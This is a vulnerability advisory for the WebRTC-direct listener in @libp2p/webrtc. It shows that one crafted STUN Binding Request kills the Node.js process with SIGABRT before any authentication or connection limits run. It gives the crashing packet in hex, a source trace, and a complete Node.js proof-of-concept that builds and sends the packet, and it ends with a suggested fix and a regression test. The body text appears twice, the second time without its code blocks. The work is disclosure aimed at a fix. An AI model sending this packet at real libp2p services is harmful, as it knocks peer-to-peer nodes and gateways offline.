Summary
@libp2p/webrtc's WebRTC-direct listener can be terminated by one protocol-plausible STUN/ICE Binding Request sent to its public UDP listen port.
The packet is handled before PeerId authentication, Noise, muxing, protocol negotiation, libp2p connection creation, or connection-manager admission. The confirmed crash mechanism is native SIGABRT from an uncaught C++ std::invalid_argument("Invalid ICE attributes") reached through the public WebRTC-direct listener path.
This report claims availability impact only. It does not claim memory corruption, code execution, browser impact, or a maxConnections bypass.
Affected Component
Tested published packages:
libp2p@3.3.5
@libp2p/webrtc@6.0.26
node-datachannel@0.32.3
@chainsafe/libp2p-noise@17.0.0
@chainsafe/libp2p-yamux@8.0.1
npm view on 2026-07-19 returned those as the current published libp2p, @libp2p/webrtc, and node-datachannel versions.
Source tracing was done against js-libp2p commit:
5459e136d267b1c3cfb0dfbd3991488cab0a5aaf
At that commit:
packages/libp2p/package.json: libp2p@3.3.5
packages/transport-webrtc/package.json: @libp2p/webrtc@6.0.26
Realistic Scenario
A Node.js application exposes WebRTC-direct:
await createLibp2p({
addresses: {
listen: ['/ip4/0.0.0.0/udp/4002/webrtc-direct']
},
transports: [webRTCDirect()],
connectionEncrypters: [noise()],
streamMuxers: [yamux()],
connectionManager: {
maxConnections: 100,
maxIncomingPendingConnections: 10,
inboundConnectionThreshold: 50,
inboundUpgradeTimeout: 3000
}
})
webRTCDirect() is a documented/exported transport. The project includes a Node.js listener example using /ip4/0.0.0.0/udp/0/webrtc-direct with webRTCDirect() in packages/transport-webrtc/README.md:180-200; the same example appears in packages/transport-webrtc/src/index.ts:155-186, and the package exports webRTCDirect at packages/transport-webrtc/src/index.ts:344-354.
Crashing Packet
Smallest confirmed packet:
000100342112a44200112233445566778899aabb00060015706f63756672616730313a636f6e74726f6c6c65640000000008001486b8a5e245dee244af8b7e00e0fa645a0493efaa
It is a 72-byte STUN Binding Request:
type: 0x0001 Binding Request
length: 0x0034
magic cookie: 0x2112a442
transaction id: 00112233445566778899aabb
USERNAME: pocufrag01:controlled
MESSAGE-INTEGRITY: HMAC-SHA1 using key pocufrag01
A debug run showed the WebRTC-direct listener parsed the packet and used the packet-controlled suffix:
libp2p:webrtc-direct:listener create peer connection for 127.0.0.1:38494:controlled
Control variants without USERNAME, without the colon form, or without MESSAGE-INTEGRITY did not crash. The colon-form USERNAME=pocufrag01:controlled with MESSAGE-INTEGRITY was the smallest protocol-plausible reproducer.
Root Cause
The bug is an error-boundary failure between the public WebRTC-direct STUN listener and native WebRTC setup.
@libp2p/webrtc accepts unauthenticated UDP STUN input, extracts a packet-derived ICE ufrag, and enters server-side WebRTC-direct setup before libp2p has created or admitted any connection. In the crashing packet, the STUN username is parsed so that the value handed to the listener is controlled.
The relevant source flow is:
packages/transport-webrtc/src/private-to-public/utils/stun-listener.ts:15-25 registers onUnhandledStunRequest, checks only that request.ufrag is not null, and forwards request.ufrag, host, and port to the listener callback.
packages/transport-webrtc/src/private-to-public/listener.ts:141-168 receives that callback and calls incomingConnection(ufrag, remoteHost, remotePort, signal).
packages/transport-webrtc/src/private-to-public/listener.ts:173-196 calls createDialerRTCPeerConnection('server', ufrag, ...) using the packet-derived ufrag.
packages/transport-webrtc/src/private-to-public/utils/get-rtcpeerconnection.ts:117-129 wraps native node-datachannel new PeerConnection(...).
packages/transport-webrtc/src/private-to-public/utils/connect.ts:68-81 enters the server answer path.
packages/transport-webrtc/src/private-to-public/utils/get-rtcpeerconnection.ts:53-60 then calls:
this.peerConnection?.setLocalDescription('answer', {
iceUfrag: this.ufrag,
icePwd: this.ufrag
})
That reuses the packet-derived ufrag as the ICE password. For controlled, the value is too short for the native ICE password requirements. node-datachannel/libdatachannel throws std::invalid_argument("Invalid ICE attributes"); the exception is not converted into a recoverable JavaScript error, so the process aborts with SIGABRT.
The code that creates a libp2p MultiaddrConnection, runs Noise, and calls the libp2p upgrader is later in packages/transport-webrtc/src/private-to-public/utils/connect.ts:124-188. The crash happens before that point.
The exposure is in @libp2p/webrtc's public WebRTC-direct listener path. The abort occurs in the native WebRTC backend after untrusted ICE material is passed into setLocalDescription, so a complete fix may require coordination between js-libp2p and node-datachannel/libdatachannel.
Why Limits Do Not Help
The reproduction uses:
connectionManager: {
maxConnections: 100,
maxIncomingPendingConnections: 10,
inboundConnectionThreshold: 50,
inboundUpgradeTimeout: 3000
}
Those controls are enforced later by DefaultConnectionManager.acceptIncomingConnection(...) through packages/libp2p/src/upgrader.ts:172-190 and packages/libp2p/src/connection-manager/index.ts:638-695.
The packet terminates the process while WebRTC-direct is setting native ICE attributes. There is no PeerId authentication, no Noise handshake, no muxer, no protocol negotiation, no application handler, and no admitted libp2p connection. This is why the finding is not a maxConnections bypass: the configured limits never get a chance to run.
Reproduction
The PoC below starts a real createLibp2p victim with webRTCDirect(), sends one UDP STUN Binding Request, and asserts that the victim child exits by SIGABRT.
Build environment used:
host node: v24.16.0
container node: v24.18.0
npm: 11.16.0
docker: 28.5.2+dfsg4
base image: node:24-bookworm-slim
Docker package install:
{
"type": "module",
"dependencies": {
"@chainsafe/libp2p-noise": "17.0.0",
"@chainsafe/libp2p-yamux": "8.0.1",
"@libp2p/webrtc": "6.0.26",
"libp2p": "3.3.5"
}
}
Run:
node --check poc-stun-crash.mjs
docker run --rm --memory 512m --memory-swap 512m \
-v "$PWD/poc-stun-crash.mjs:/app/poc.mjs:ro" \
js-libp2p-webrtc-direct-realworld:local \
node /app/poc.mjs
Observed:
{"type":"ready","connections":0,"diagnosticPendingPeerConnections":0,...}
{"type":"sent-crash-packet","packetsSent":1,"packetHex":"000100342112a44200112233445566778899aabb00060015706f63756672616730313a636f6e74726f6c6c65640000000008001486b8a5e245dee244af8b7e00e0fa645a0493efaa"}
terminate called after throwing an instance of 'std::invalid_argument'
what(): Invalid ICE attributes
{"type":"victim-exit","code":null,"signal":"SIGABRT","timedOut":false}
The victim reported connections=0, diagnosticPendingPeerConnections=0, and packetsSent=1 before termination.
Crash and OOM Confirmation
The same one-packet PoC was repeated with Docker memory/swap limits of 512m, 384m, 256m, 192m, and 128m. In every run the victim started cleanly, received one packet, and Docker reported OOMKilled=false; the cgroup memory.events values had oom=0 and oom_kill=0.
512m: inspect=[exited false 139] connections=0 packetsSent=1 oom=0 oom_kill=0
384m: inspect=[exited false 139] connections=0 packetsSent=1 oom=0 oom_kill=0
256m: inspect=[exited false 139] connections=0 packetsSent=1 oom=0 oom_kill=0
192m: inspect=[exited false 139] connections=0 packetsSent=1 oom=0 oom_kill=0
128m: inspect=[exited false 139] connections=0 packetsSent=1 oom=0 oom_kill=0
Docker victim-as-PID1 reported numeric exit code 139, but independent checks confirmed the real signal as SIGABRT. Host shell showed status 134 and Aborted (core dumped). Node child-process inspection returned:
{"code":null,"signal":"SIGABRT"}
gdb stopped on SIGABRT:
Thread 2.1 "MainThread" received signal SIGABRT, Aborted.
Program terminated with signal SIGABRT, Aborted.
Relevant gdb frames:
#2 abort() from libc.so.6
#3 __gnu_cxx::__verbose_terminate_handler() from node_datachannel.node
#5 std::terminate() from node_datachannel.node
#6 __cxa_throw from node_datachannel.node
#7 rtc::impl::IceTransport::setIceAttributes(...) from node_datachannel.node
#8 rtc::PeerConnection::setLocalDescription(...) from node_datachannel.node
#9 PeerConnectionWrapper::setLocalDescription(...) from node_datachannel.node
strace also showed the process sending itself SIGABRT:
tgkill(..., SIGABRT) = 0
--- SIGABRT {si_signo=SIGABRT, si_code=SI_TKILL, ...} ---
+++ killed by SIGABRT (core dumped) +++
Impact
A public Node.js libp2p service that enables WebRTC-direct can be taken down by a single unauthenticated UDP packet. The sender does not need a valid libp2p PeerId, a completed WebRTC session, Noise authentication, stream muxing, protocol negotiation, or access to any application-level protocol.
In the tested configuration, the victim process terminated before libp2p created or admitted any connection. This means application-level connection limits, pending-connection limits, and protocol handlers cannot mitigate the crash.
For applications embedding js-libp2p as a long-running network service, such as peer-to-peer nodes, gateways, sync agents, relays, decentralized application backends, or infrastructure services exposing WebRTC-direct, this is a direct remote availability failure. A single packet can terminate the Node.js process and interrupt all active and future libp2p functionality in that process until an external supervisor restarts it.
The confirmed impact is denial of service / process termination only. The evidence does not show memory corruption exploitability, code execution, confidentiality impact, or integrity impact.
Suggested Fix
Validate STUN-derived ICE values before native peer-connection setup. Reject request.ufrag values that cannot safely be used by the WebRTC-direct server path before calling createDialerRTCPeerConnection(...) or DirectRTCPeerConnection.createAnswer().
Do not reuse a packet-derived short ufrag as icePwd unless it satisfies native ICE password requirements. If WebRTC-direct must infer credentials from STUN USERNAME, validate the exact inferred value before passing it to node-datachannel.
Native invalid ICE attribute failures from setLocalDescription(...) should become recoverable JavaScript errors. The attempted setup should be closed and removed while the listener stays alive.
As defense in depth, add bounded pre-upgrade admission control for WebRTC-direct STUN setup.
Regression Test
Add an integration test that runs a real Node.js createLibp2p victim with webRTCDirect(), sends the 72-byte packet above via node:dgram, and asserts the child process remains alive. The test should also verify node.getConnections().length does not become a successful connection and that the listener can still shut down cleanly or accept a legitimate follow-up dial.
Controls should include no USERNAME, plain USERNAME, colon-form without MESSAGE-INTEGRITY, colon-form with FINGERPRINT only, and the minimized colon-form with MESSAGE-INTEGRITY.
Complete PoC
#!/usr/bin/env node
import dgram from 'node:dgram'
import fs from 'node:fs'
import { fork } from 'node:child_process'
import { createHmac } from 'node:crypto'
import process from 'node:process'
const MODE = process.argv[2] ?? 'parent'
const PORT = Number.parseInt(process.env.PORT ?? '4002', 10)
const LISTEN_IP = process.env.LISTEN_IP ?? '127.0.0.1'
const SEND_HOST = process.env.SEND_HOST ?? '127.0.0.1'
const UFRAG = 'pocufrag01'
const TRANSACTION_ID = Buffer.from('00112233445566778899aabb', 'hex')
const LIMITS = {
maxConnections: 100,
maxIncomingPendingConnections: 10,
inboundConnectionThreshold: 50,
inboundUpgradeTimeout: 3000
}
function sleep (ms) {
return new Promise(resolve => setTimeout(resolve, ms))
}
function readFileTrimmed (file) {
try {
return fs.readFileSync(file, 'utf8').trim()
} catch {
return null
}
}
function cgroupSnapshot () {
const current = readFileTrimmed('/sys/fs/cgroup/memory.current')
const events = readFileTrimmed('/sys/fs/cgroup/memory.events')
return {
memoryCurrentMiB: current == null ? null : Math.round(Number.parseInt(current, 10) / 1024 / 1024),
memoryEvents: events == null
? null
: Object.fromEntries(events.split('\n').filter(Boolean).map(line => {
const [key, value] = line.trim().split(/\s+/)
return [key, Number.parseInt(value, 10)]
}))
}
}
function diagnosticPendingPeerConnections (node) {
return node.components?.transportManager
?.getListeners()
?.find(listener => listener.constructor?.name === 'WebRTCDirectListener')
?.connections
?.size ?? -1
}
function stunAttr (type, value) {
const input = Buffer.isBuffer(value) ? value : Buffer.from(value)
const paddedLength = Math.ceil(input.length / 4) * 4
const attr = Buffer.alloc(4 + paddedLength)
attr.writeUInt16BE(type, 0)
attr.writeUInt16BE(input.length, 2)
input.copy(attr, 4)
return attr
}
function makeCrashPacket () {
const username = stunAttr(0x0006, `${UFRAG}:controlled`)
const integrityLength = 24
const message = Buffer.alloc(20 + username.length + integrityLength)
message.writeUInt16BE(0x0001, 0)
message.writeUInt16BE(username.length + integrityLength, 2)
message.writeUInt32BE(0x2112A442, 4)
TRANSACTION_ID.copy(message, 8)
username.copy(message, 20)
const offset = 20 + username.length
message.writeUInt16BE(username.length + integrityLength, 2)
message.writeUInt16BE(0x0008, offset)
message.writeUInt16BE(20, offset + 2)
createHmac('sha1', UFRAG).update(message.subarray(0, offset + 4)).digest().copy(message, offset + 4)
return message
}
async function sendPacket (host = SEND_HOST) {
const packet = makeCrashPacket()
const socket = dgram.createSocket('udp4')
await new Promise(resolve => socket.bind(0, resolve))
await new Promise((resolve, reject) => {
socket.send(packet, PORT, host, err => err == null ? resolve() : reject(err))
})
socket.close()
console.log(JSON.stringify({
type: 'sent-crash-packet',
host,
port: PORT,
packetsSent: 1,
packetHex: packet.toString('hex')
}))
}
async function runVictim () {
const [
{ createLibp2p },
{ webRTCDirect },
{ noise },
{ yamux }
] = await Promise.all([
import('libp2p'),
import('@libp2p/webrtc'),
import('@chainsafe/libp2p-noise'),
import('@chainsafe/libp2p-yamux')
])
const node = await createLibp2p({
addresses: {
listen: [`/ip4/${LISTEN_IP}/udp/${PORT}/webrtc-direct`]
},
transports: [webRTCDirect()],
connectionEncrypters: [noise()],
streamMuxers: [yamux()],
connectionManager: LIMITS,
connectionMonitor: {
enabled: false
}
})
console.log(`READY ${node.getMultiaddrs()[0]}`)
console.log(JSON.stringify({
type: 'ready',
limits: LIMITS,
connections: node.getConnections().length,
diagnosticPendingPeerConnections: diagnosticPendingPeerConnections(node),
memory: process.memoryUsage(),
cgroup: cgroupSnapshot()
}))
setInterval(() => {}, 1000)
}
async function runParent () {
const victim = fork(new URL(import.meta.url), ['victim'], {
stdio: ['ignore', 'pipe', 'pipe', 'ipc'],
env: {
...process.env,
PORT: String(PORT)
}
})
let stdout = ''
let stderr = ''
victim.stdout.on('data', chunk => {
stdout += chunk.toString()
process.stdout.write(chunk)
})
victim.stderr.on('data', chunk => {
stderr += chunk.toString()
process.stderr.write(chunk)
})
const started = Date.now()
while (!stdout.includes('READY ')) {
if (Date.now() - started > 30000) {
victim.kill('SIGKILL')
throw new Error('victim did not become ready')
}
await sleep(100)
}
await sleep(1000)
await sendPacket('127.0.0.1')
const exit = await new Promise(resolve => {
const timer = setTimeout(() => resolve({ timedOut: true }), 7000)
victim.once('exit', (code, signal) => {
clearTimeout(timer)
resolve({ code, signal, timedOut: false })
})
})
console.log(JSON.stringify({ type: 'victim-exit', ...exit }))
if (exit.timedOut) {
victim.kill('SIGKILL')
throw new Error('victim survived the STUN packet')
}
if (exit.signal !== 'SIGABRT') {
throw new Error(`unexpected victim exit: ${JSON.stringify(exit)}\nstdout:\n${stdout}\nstderr:\n${stderr}`)
}
}
if (MODE === 'victim') {
await runVictim()
} else if (MODE === 'send') {
await sendPacket()
} else {
await runParent()
}
Summary
@libp2p/webrtc's WebRTC-direct listener can be terminated by one protocol-plausible STUN/ICE Binding Request sent to its public UDP listen port.The packet is handled before PeerId authentication, Noise, muxing, protocol negotiation, libp2p connection creation, or connection-manager admission. The confirmed crash mechanism is native
SIGABRTfrom an uncaught C++std::invalid_argument("Invalid ICE attributes")reached through the public WebRTC-direct listener path.This report claims availability impact only. It does not claim memory corruption, code execution, browser impact, or a
maxConnectionsbypass.Affected Component
Tested published packages:
npm viewon 2026-07-19 returned those as the current publishedlibp2p,@libp2p/webrtc, andnode-datachannelversions.Source tracing was done against js-libp2p commit:
At that commit:
Realistic Scenario
A Node.js application exposes WebRTC-direct:
webRTCDirect()is a documented/exported transport. The project includes a Node.js listener example using/ip4/0.0.0.0/udp/0/webrtc-directwithwebRTCDirect()inpackages/transport-webrtc/README.md:180-200; the same example appears inpackages/transport-webrtc/src/index.ts:155-186, and the package exportswebRTCDirectatpackages/transport-webrtc/src/index.ts:344-354.Crashing Packet
Smallest confirmed packet:
It is a 72-byte STUN Binding Request:
A debug run showed the WebRTC-direct listener parsed the packet and used the packet-controlled suffix:
Control variants without
USERNAME, without the colon form, or withoutMESSAGE-INTEGRITYdid not crash. The colon-formUSERNAME=pocufrag01:controlledwithMESSAGE-INTEGRITYwas the smallest protocol-plausible reproducer.Root Cause
The bug is an error-boundary failure between the public WebRTC-direct STUN listener and native WebRTC setup.
@libp2p/webrtcaccepts unauthenticated UDP STUN input, extracts a packet-derived ICE ufrag, and enters server-side WebRTC-direct setup before libp2p has created or admitted any connection. In the crashing packet, the STUN username is parsed so that the value handed to the listener iscontrolled.The relevant source flow is:
packages/transport-webrtc/src/private-to-public/utils/stun-listener.ts:15-25registersonUnhandledStunRequest, checks only thatrequest.ufragis not null, and forwardsrequest.ufrag, host, and port to the listener callback.packages/transport-webrtc/src/private-to-public/listener.ts:141-168receives that callback and callsincomingConnection(ufrag, remoteHost, remotePort, signal).packages/transport-webrtc/src/private-to-public/listener.ts:173-196callscreateDialerRTCPeerConnection('server', ufrag, ...)using the packet-derived ufrag.packages/transport-webrtc/src/private-to-public/utils/get-rtcpeerconnection.ts:117-129wraps nativenode-datachannelnew PeerConnection(...).packages/transport-webrtc/src/private-to-public/utils/connect.ts:68-81enters the server answer path.packages/transport-webrtc/src/private-to-public/utils/get-rtcpeerconnection.ts:53-60then calls:That reuses the packet-derived ufrag as the ICE password. For
controlled, the value is too short for the native ICE password requirements.node-datachannel/libdatachannel throwsstd::invalid_argument("Invalid ICE attributes"); the exception is not converted into a recoverable JavaScript error, so the process aborts withSIGABRT.The code that creates a libp2p
MultiaddrConnection, runs Noise, and calls the libp2p upgrader is later inpackages/transport-webrtc/src/private-to-public/utils/connect.ts:124-188. The crash happens before that point.The exposure is in
@libp2p/webrtc's public WebRTC-direct listener path. The abort occurs in the native WebRTC backend after untrusted ICE material is passed intosetLocalDescription, so a complete fix may require coordination between js-libp2p andnode-datachannel/libdatachannel.Why Limits Do Not Help
The reproduction uses:
Those controls are enforced later by
DefaultConnectionManager.acceptIncomingConnection(...)throughpackages/libp2p/src/upgrader.ts:172-190andpackages/libp2p/src/connection-manager/index.ts:638-695.The packet terminates the process while WebRTC-direct is setting native ICE attributes. There is no PeerId authentication, no Noise handshake, no muxer, no protocol negotiation, no application handler, and no admitted libp2p connection. This is why the finding is not a
maxConnectionsbypass: the configured limits never get a chance to run.Reproduction
The PoC below starts a real
createLibp2pvictim withwebRTCDirect(), sends one UDP STUN Binding Request, and asserts that the victim child exits bySIGABRT.Build environment used:
Docker package install:
{ "type": "module", "dependencies": { "@chainsafe/libp2p-noise": "17.0.0", "@chainsafe/libp2p-yamux": "8.0.1", "@libp2p/webrtc": "6.0.26", "libp2p": "3.3.5" } }Run:
node --check poc-stun-crash.mjs docker run --rm --memory 512m --memory-swap 512m \ -v "$PWD/poc-stun-crash.mjs:/app/poc.mjs:ro" \ js-libp2p-webrtc-direct-realworld:local \ node /app/poc.mjsObserved:
The victim reported
connections=0,diagnosticPendingPeerConnections=0, andpacketsSent=1before termination.Crash and OOM Confirmation
The same one-packet PoC was repeated with Docker memory/swap limits of 512m, 384m, 256m, 192m, and 128m. In every run the victim started cleanly, received one packet, and Docker reported
OOMKilled=false; the cgroupmemory.eventsvalues hadoom=0andoom_kill=0.Docker victim-as-PID1 reported numeric exit code
139, but independent checks confirmed the real signal asSIGABRT. Host shell showed status134andAborted (core dumped). Node child-process inspection returned:gdb stopped on
SIGABRT:Relevant gdb frames:
strace also showed the process sending itself
SIGABRT:Impact
A public Node.js libp2p service that enables WebRTC-direct can be taken down by a single unauthenticated UDP packet. The sender does not need a valid libp2p PeerId, a completed WebRTC session, Noise authentication, stream muxing, protocol negotiation, or access to any application-level protocol.
In the tested configuration, the victim process terminated before libp2p created or admitted any connection. This means application-level connection limits, pending-connection limits, and protocol handlers cannot mitigate the crash.
For applications embedding js-libp2p as a long-running network service, such as peer-to-peer nodes, gateways, sync agents, relays, decentralized application backends, or infrastructure services exposing WebRTC-direct, this is a direct remote availability failure. A single packet can terminate the Node.js process and interrupt all active and future libp2p functionality in that process until an external supervisor restarts it.
The confirmed impact is denial of service / process termination only. The evidence does not show memory corruption exploitability, code execution, confidentiality impact, or integrity impact.
Suggested Fix
Validate STUN-derived ICE values before native peer-connection setup. Reject
request.ufragvalues that cannot safely be used by the WebRTC-direct server path before callingcreateDialerRTCPeerConnection(...)orDirectRTCPeerConnection.createAnswer().Do not reuse a packet-derived short ufrag as
icePwdunless it satisfies native ICE password requirements. If WebRTC-direct must infer credentials from STUNUSERNAME, validate the exact inferred value before passing it tonode-datachannel.Native invalid ICE attribute failures from
setLocalDescription(...)should become recoverable JavaScript errors. The attempted setup should be closed and removed while the listener stays alive.As defense in depth, add bounded pre-upgrade admission control for WebRTC-direct STUN setup.
Regression Test
Add an integration test that runs a real Node.js
createLibp2pvictim withwebRTCDirect(), sends the 72-byte packet above vianode:dgram, and asserts the child process remains alive. The test should also verifynode.getConnections().lengthdoes not become a successful connection and that the listener can still shut down cleanly or accept a legitimate follow-up dial.Controls should include no
USERNAME, plainUSERNAME, colon-form withoutMESSAGE-INTEGRITY, colon-form withFINGERPRINTonly, and the minimized colon-form withMESSAGE-INTEGRITY.Complete PoC